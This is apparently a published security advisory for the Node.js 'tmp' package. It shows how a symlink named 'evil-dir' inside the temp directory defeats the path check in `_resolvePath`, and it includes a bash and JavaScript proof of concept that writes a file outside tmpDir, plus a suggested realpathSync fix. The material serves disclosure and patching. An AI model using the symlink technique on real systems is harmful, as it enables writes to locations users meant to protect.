tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter

### Summary `[email protected]` is vulnerable to an Arbitrary temporary file / directory write via symbolic link `dir` parameter. ### Details According to the documentation there are some conditions that must be held: ``` // https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50 Other breaking changes, i.e. - template must be relative to tmpdir - name must be relative to tmpdir - dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks are still in place. In order to override the system's tmpdir, you will have to use the newly introduced tmpdir option. // https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375 * `dir`: the optional temporary directory that must be relative to the system's default temporary directory. absolute paths are fine as long as they point to a location under the system's default temporary directory. Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, as tmp will not check the availability of the path, nor will it establish the requested path for you. ``` Related issue: https://github.com/raszi/node-tmp/issues/207. The issue occurs because `_resolvePath` does not properly handle symbolic link when resolving paths: ```js // https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579 function _resolvePath(name, tmpDir) { if (name.startsWith(tmpDir)) { return path.resolve(name); } else { return path.resolve(path.join(tmpDir, name)); } } ``` If the `dir` parameter points to a symlink that resolves to a folder outside the `tmpDir`, it's possible to bypass the `_assertIsRelative` check used in `_assertAndSanitizeOptions`: ```js // https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609 function _assertIsRelative(name, option, tmpDir) { if (option === 'name') { // assert that name is not absolute and does not contain a path if (path.isAbsolute(name)) throw new Error(`${option} option must not contain an absolute path, found "${name}".`); // must not fail on valid .<name> or ..<name> or similar such constructs let basename = path.basename(name); if (basename === '..' || basename === '.' || basename !== name) throw new Error(`${option} option must not contain a path, found "${name}".`); } else { // if (option === 'dir' || option === 'template') { // assert that dir or template are relative to tmpDir if (path.isAbsolute(name) && !name.startsWith(tmpDir)) { throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`); } let resolvedPath = _resolvePath(name, tmpDir); //<--- if (!resolvedPath.startsWith(tmpDir)) throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`); } } ``` ### PoC The following PoC demonstrates how writing a tmp file on a folder outside the `tmpDir` is possible. Tested on a Linux machine. - Setup: create a symbolic link inside the `tmpDir` that points to a directory outside of it ```bash mkdir $HOME/mydir1 ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir ``` - check the folder is empty: ```bash ls -lha $HOME/mydir1 | grep "tmp-" ``` - run the poc ```bash node main.js File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]' test 2: dir option must be relative to "/tmp", found "/foo". test 3: dir option must be relative to "/tmp", found "/home/user/mydir1". ``` - the temporary file is created under `$HOME/mydir1` (outside the `tmpDir`): ```bash ls -lha $HOME/mydir1 | grep "tmp-" -rw------- 1 user user 0 Apr X XX:XX tmp-[random-id] ``` - `main.js` ```js // npm i [email protected] const tmp = require('tmp'); const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'}); console.log('File: ', tmpobj.name); try { tmp.fileSync({ 'dir': 'mydir1'}); } catch (err) { console.log('test 1:', err.message) } try { tmp.fileSync({ 'dir': '/foo'}); } catch (err) { console.log('test 2:', err.message) } try { const fs = require('node:fs'); const resolved = fs.realpathSync('/tmp/evil-dir'); tmp.fileSync({ 'dir': resolved}); } catch (err) { console.log('test 3:', err.message) } ``` A Potential fix could be to call `fs.realpathSync` (or similar) that resolves also symbolic links. ```js function _resolvePath(name, tmpDir) { let resolvedPath; if (name.startsWith(tmpDir)) { resolvedPath = path.resolve(name); } else { resolvedPath = path.resolve(path.join(tmpDir, name)); } return fs.realpathSync(resolvedPath); } ``` ### Impact Arbitrary temporary file / directory write via symlink

Quoted source text, attributed separately from HOL analysis.